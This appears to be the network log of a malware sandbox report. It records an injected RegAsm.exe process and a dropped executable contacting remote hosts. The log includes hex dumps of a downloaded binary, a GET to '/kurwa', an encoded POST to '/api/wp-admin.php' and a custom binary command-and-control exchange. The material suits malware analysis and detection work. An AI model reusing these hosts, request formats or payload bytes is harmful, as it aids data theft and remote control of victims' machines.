Sep 21, 2024 13:33:41.479227066 CEST	672	IN	Data Raw: c4 40 00 e8 95 fa ff ff eb 04 33 c0 89 07 83 c4 14 5f 5e 5b c3 55 8b ec 33 d2 55 68 ce 19 40 00 64 ff 32 64 89 22 68 1c c4 40 00 e8 39 f9 ff ff 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 2e f9 ff ff b8 3c c4 40 00 e8 8c f9 ff ff b8 4c c4 40 00 Data Ascii: @3_^[U3Uh@d2d"h@9=2@th@.<@L@x@xhjt@=t@t/t@3L@=u\@@h@@3ZYYdh@=2@th@)@]US=@3Uh@d
Sep 21, 2024 13:33:41.479244947 CEST	1236	IN	Data Raw: c0 04 e8 ca ff ff ff c3 83 fa 04 7c 0a 8b ca 81 c9 02 00 00 80 89 08 03 c2 83 20 fe c3 53 56 8b d0 83 ea 04 8b 12 8b ca 81 e1 02 00 00 80 81 f9 02 00 00 80 74 0a c7 05 18 c4 40 00 04 00 00 00 8b da 81 e3 fc ff ff 7f 2b c3 8b c8 33 11 f7 c2 fe ff Data Ascii: \| SVt@+3t@t r+;pt@^[@SVW3t%uhF#_^[SVWUkC7++
Sep 21, 2024 13:33:41.479262114 CEST	1236	IN	Data Raw: 7c 86 f4 eb 26 8b f3 85 f6 79 03 83 c6 03 c1 fe 02 8b 3d 74 c4 40 00 89 44 b7 f4 8b 32 89 75 f8 8b 75 f8 89 46 04 8b 75 f8 89 30 8b c1 8b 52 08 83 ca 02 89 10 83 c0 04 89 45 fc ff 05 fc c3 40 00 83 eb 04 01 1d 00 c4 40 00 e8 8e 0e 00 00 e9 84 00 Data Ascii: \|&y=t@D2uuFu0RE@@;l@J)l@=l@}l@3l@p@p@E@@92E3ZYYdhO!@=2@th@5E_^[YY]@UQSVW3
Sep 21, 2024 13:33:41.479278088 CEST	1236	IN	Data Raw: 12 8b c8 8b d7 8b c3 e8 2d 01 00 00 8b c3 e8 fe fb ff ff 89 7d fc 33 c0 5a 59 59 64 89 10 68 89 25 40 00 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 fb ec ff ff c3 e9 75 08 00 00 eb e5 8b 45 fc 5f 5e 5b 59 5d c3 8b c0 85 c0 74 0a ff 15 04 b0 40 Data Ascii: -}3ZYYdh%@=2@th@uE_^[Y]t@tjt@uRt2tP@Yt.@utP@Yt@@tZH=&@y"
Sep 21, 2024 13:33:41.479298115 CEST	1236	IN	Data Raw: 1a eb eb b5 00 8a 5c 0e 06 32 1c 0a 80 e3 df 75 ee 49 75 f1 8b 46 02 5f 5e 5b c3 8b c0 53 56 57 89 cf 31 db 31 c9 8b 70 dc 85 f6 74 13 66 8b 0e 83 c6 02 3b 56 02 74 13 66 8b 1e 01 de 49 75 f3 8b 40 ec 85 c0 75 df 88 07 eb 0a 83 c6 06 31 c9 8a 0e Data Ascii: \2uIuF_^[SVW11ptf;VtfIu@u1A_^[SVW11Pptf>N8ttOu@uZN\2uIuZ_^[RQSP1L$diA*@Ad[YZD$,@&R=@
Sep 21, 2024 13:33:41.479496002 CEST	1236	IN	Data Raw: 04 fd 81 38 ce fa ed 0e 74 0d 8b 42 08 e8 1f fa ff ff e8 02 fc ff ff 31 c0 83 c4 14 64 8b 10 59 8b 12 89 11 5d 5f 5e 5b b8 01 00 00 00 c3 8d 40 00 e8 2b 02 00 00 8b 90 00 00 00 00 8b 0a 89 88 00 00 00 00 8b 42 08 e8 e5 f9 ff ff 5a 8b 64 24 2c 31 Data Ascii: 8tB1dY]_^[@+BZd$,1YdX]{1L$D$d$@UU=,t\=tW-t\-t=HtN`q?r6t0R=t=-t.HtHt$:-t/=t&,*&"
Sep 21, 2024 13:33:41.479517937 CEST	552	IN	Data Raw: 4a 75 f2 e8 85 fe ff ff 50 89 c6 8b 44 9c 14 89 f2 85 c0 74 0a 8b 48 fc 01 ce e8 9e f2 ff ff 4b 75 e9 5a 58 85 d2 74 03 ff 4a f8 e8 f1 fd ff ff 5a 5e 5b 58 8d 24 94 ff e0 c3 8d 40 00 85 c0 74 09 8b 50 f8 42 7e 03 89 50 f8 c3 8b c0 85 c0 74 02 c3 Data Ascii: JuPDtHKuZXtJZ^[X$@tPB~Pt4@t+JIt%SBHI\|HH6[St-Xt&J\|9})\|9D$1D$[tVSVWURtRO}19~k
Sep 21, 2024 13:33:41.522274017 CEST	1236	IN	Data Raw: 89 d8 03 5c 2e 02 89 f2 e8 58 ff ff ff 4f 7f f0 5d 5f 5e 5b c3 b9 01 00 00 00 e9 6e ff ff ff c3 90 53 56 57 55 81 c4 00 f8 ff ff 8b f1 8b da 8b f8 85 db 75 09 8b c6 e8 6d fb ff ff eb 61 81 fb 00 04 00 00 7d 26 6a 00 6a 00 68 00 08 00 00 8d 44 24 Data Ascii: \.XO]_^[nSVWUuma}&jjhD$PSWjj3jjjjSWjj3jjUPSWjj]_^[@SVS]^[SVWU) =}+hD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49713	162.241.61.218	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:40.194776058 CEST	169	OUT	Data Raw: 16 03 03 00 a4 01 00 00 a0 03 03 66 ee af 13 ca a0 68 d5 52 53 4d 43 a7 e0 7b b9 0e 92 1d 4a e8 15 00 f1 cc 55 58 67 ce 43 56 52 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fhRSMC{JUXgCVR&,+0/$#('=<5/Qnerv.com.pe#
Sep 21, 2024 13:33:40.702334881 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Sat, 21 Sep 2024 11:33:40 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49714	162.241.61.218	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:40.194885015 CEST	169	OUT	Data Raw: 16 03 03 00 a4 01 00 00 a0 03 03 66 ee af 13 3e cb 41 37 ef ed a1 c5 ab 1d 2c 75 0a a5 1d 85 be 9c 6d 16 a9 08 f4 a0 60 6d 63 dc 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: f>A7,um`mc&,+0/$#('=<5/Qnerv.com.pe#
Sep 21, 2024 13:33:40.679855108 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Sat, 21 Sep 2024 11:33:40 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49715	185.166.143.50	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:40.199032068 CEST	171	OUT	Data Raw: 16 03 03 00 a6 01 00 00 a2 03 03 66 ee af 13 19 43 af 7c 20 ca 83 88 09 28 08 78 27 0c fd c7 2b f4 a8 54 19 65 f9 6e 70 6c be 18 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fC\| (x'+Tenpl&,+0/$#('=<5/Sbitbucket.org#
Sep 21, 2024 13:33:40.834928989 CEST	156	IN	HTTP/1.1 400 Bad Request content-length: 11 content-type: text/plain date: Sat, 21 Sep 2024 11:33:40 GMT server: envoy connection: close Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49716	162.241.61.218	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:40.687426090 CEST	169	OUT	Data Raw: 16 03 03 00 a4 01 00 00 a0 03 03 66 ee af 13 2d 00 cb 0b 8e 11 1c ba a5 5e 59 e3 9c cb 45 fd cf 47 25 3e be 1c 1a 38 1a 8a fb 1a 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: f-^YEG%>8&,+0/$#('=<5/Qnerv.com.pe#
Sep 21, 2024 13:33:41.192723989 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Sat, 21 Sep 2024 11:33:41 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49717	162.241.61.218	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:40.708254099 CEST	115	OUT	Data Raw: 16 03 01 00 6e 01 00 00 6a 03 01 66 ee af 13 2a 8b b9 a7 6f ca 64 51 69 b8 0e 97 41 f8 92 fe 60 44 5d 8f f5 c1 8f 53 c0 c5 3e 7e 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 33 00 00 00 10 00 0e 00 00 0b 6e 65 72 76 2e 63 6f 6d 2e Data Ascii: njf*odQiA`D]S>~5/3nerv.com.pe#
Sep 21, 2024 13:33:41.202763081 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Sat, 21 Sep 2024 11:33:41 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49718	185.166.143.50	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:40.842003107 CEST	117	OUT	Data Raw: 16 03 01 00 70 01 00 00 6c 03 01 66 ee af 14 c9 ee 94 41 1e a5 da 43 08 fa f4 6a 1a a5 2a 42 fa 54 3f 42 bd c1 9d 6b df 22 77 ee 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 35 00 00 00 12 00 10 00 00 0d 62 69 74 62 75 63 6b 65 74 Data Ascii: plfACj*BT?Bk"w5/5bitbucket.org#
Sep 21, 2024 13:33:41.486641884 CEST	156	IN	HTTP/1.1 400 Bad Request content-length: 11 content-type: text/plain date: Sat, 21 Sep 2024 11:33:41 GMT server: envoy connection: close Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49719	176.111.174.109	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:41.115081072 CEST	196	OUT	GET /kurwa HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.111.174.109 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49720	162.241.61.218	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:41.198754072 CEST	115	OUT	Data Raw: 16 03 01 00 6e 01 00 00 6a 03 01 66 ee af 14 09 17 44 0c 10 e7 e8 2c 03 b9 a3 df 19 e1 df 0c 76 39 85 89 7c 73 24 ac 9d 63 6f 6a 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 33 00 00 00 10 00 0e 00 00 0b 6e 65 72 76 2e 63 6f 6d 2e Data Ascii: njfD,v9\|s$coj5/3nerv.com.pe#
Sep 21, 2024 13:33:41.693106890 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Sat, 21 Sep 2024 11:33:41 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49721	162.241.61.218	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:41.208450079 CEST	115	OUT	Data Raw: 16 03 01 00 6e 01 00 00 6a 03 01 66 ee af 14 3d fd 1e bf f7 65 8b aa d6 82 e4 40 3d 82 21 20 d9 3d 98 17 3c e3 ce 81 23 e3 96 f3 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 33 00 00 00 10 00 0e 00 00 0b 6e 65 72 76 2e 63 6f 6d 2e Data Ascii: njf=e@=! =<#5/3nerv.com.pe#
Sep 21, 2024 13:33:41.709856033 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Sat, 21 Sep 2024 11:33:41 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49738	41.216.188.190	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:34:01.538203001 CEST	276	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 561 Host: 41.216.188.190
Sep 21, 2024 13:34:01.538255930 CEST	561	OUT	Data Raw: 64 61 74 61 3d 52 6d 57 51 4d 34 74 55 74 30 56 33 78 75 7a 54 50 6c 67 79 4a 6c 42 34 6f 4c 6d 45 31 46 49 58 31 6d 36 54 37 32 68 52 77 6b 4d 72 6f 64 75 47 2d 37 61 42 54 6c 39 56 6c 31 76 6c 76 36 63 68 68 76 39 38 54 67 74 5a 62 34 47 75 54 Data Ascii: data=RmWQM4tUt0V3xuzTPlgyJlB4oLmE1FIX1m6T72hRwkMroduG-7aBTl9Vl1vlv6chhv98TgtZb4GuT-UkGVkWBaQTvh85qfScFjatPqr7WJqyh5Pej_ib4cjKe6f3i3TVAznU1JFbcgID73VjwYSxNzDXiMvtzqDUfnktYnoveBkAehZC-61nEYsD5XBUvsZ8dHIIFy2vjYxqcUkIIlREESkNcqLNdo-h2yYn8P1jHjWly9
Sep 21, 2024 13:34:03.752053022 CEST	363	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 71 6b 53 70 4b 77 49 33 78 6f 62 47 4d 30 65 61 73 6b 4a 51 7a 58 43 62 4a 62 77 47 6b 6d 50 2f 51 59 43 73 49 52 52 45 70 63 37 39 6e 6c 65 36 57 4a 51 63 63 6b 65 78 64 54 32 33 70 7a 4e 61 57 47 62 49 49 42 39 6f 4a 7a 72 49 50 4f 72 2f 72 38 63 58 6c 45 67 50 37 32 42 2b 4c 30 34 6f 72 6b 75 4e 34 5a 55 6b 55 72 67 3d Data Ascii: qkSpKwI3xobGM0easkJQzXCbJbwGkmP/QYCsIRREpc79nle6WJQcckexdT23pzNaWGbIIB9oJzrIPOr/r8cXlEgP72B+L04orkuN4ZUkUrg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49740	92.119.114.169	80	2624	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:34:07.514650106 CEST	36	IN	Data Raw: ad da ba ab 18 00 00 00 12 27 00 00 4b 4e 08 2d 4d 4e 2f 49 28 3c 1f 4e 1a 4f 03 3e 0a 49 03 03 20 0a 0a 4f Data Ascii: 'KN-MN/I(<NO>I O
Sep 21, 2024 13:34:07.762882948 CEST	36	IN	Data Raw: ad da ba ab 18 00 00 00 12 27 00 00 4b 4e 08 2d 4d 4e 2f 49 28 3c 1f 4e 1a 4f 03 3e 0a 49 03 03 20 0a 0a 4f Data Ascii: 'KN-MN/I(<NO>I O
Sep 21, 2024 13:34:10.625389099 CEST	12	OUT	Data Raw: ad da ba ab 00 00 00 00 10 27 00 00 Data Ascii: '
Sep 21, 2024 13:34:10.799762964 CEST	12	IN	Data Raw: ad da ba ab 00 00 00 00 11 27 00 00 Data Ascii: '
Sep 21, 2024 13:34:15.459377050 CEST	18	OUT	Data Raw: ad da ba ab 06 00 00 00 16 27 00 00 1a 15 10 1c 17 0d Data Ascii: '
Sep 21, 2024 13:34:15.654424906 CEST	76	IN	Data Raw: ad da ba ab 40 00 00 00 17 27 00 00 1b 48 4c 1b 1d 1b 49 18 4d 1d 4e 1f 4b 4f 4c 1a 1f 4d 1c 1d 4e 1a 4d 4f 4f 4f 41 1f 4d 1a 18 4b 4d 4e 4a 4d 4e 1a 18 4b 1a 1c 4d 18 4e 4f 41 40 1a 1b 41 1d 1b 1b 4b 4c 41 4f 4a 1f 4b 40 4d 18 Data Ascii: @'HLIMNKOLMNMOOOAMKMNJMNKMNOA@AKLAOJK@M
Sep 21, 2024 13:34:15.833296061 CEST	18	OUT	Data Raw: ad da ba ab 06 00 00 00 18 27 00 00 1a 15 10 1c 17 0d Data Ascii: '
Sep 21, 2024 13:34:16.082761049 CEST	14	IN	Data Raw: ad da ba ab 02 00 00 00 13 27 00 00 4f 49 Data Ascii: 'OI
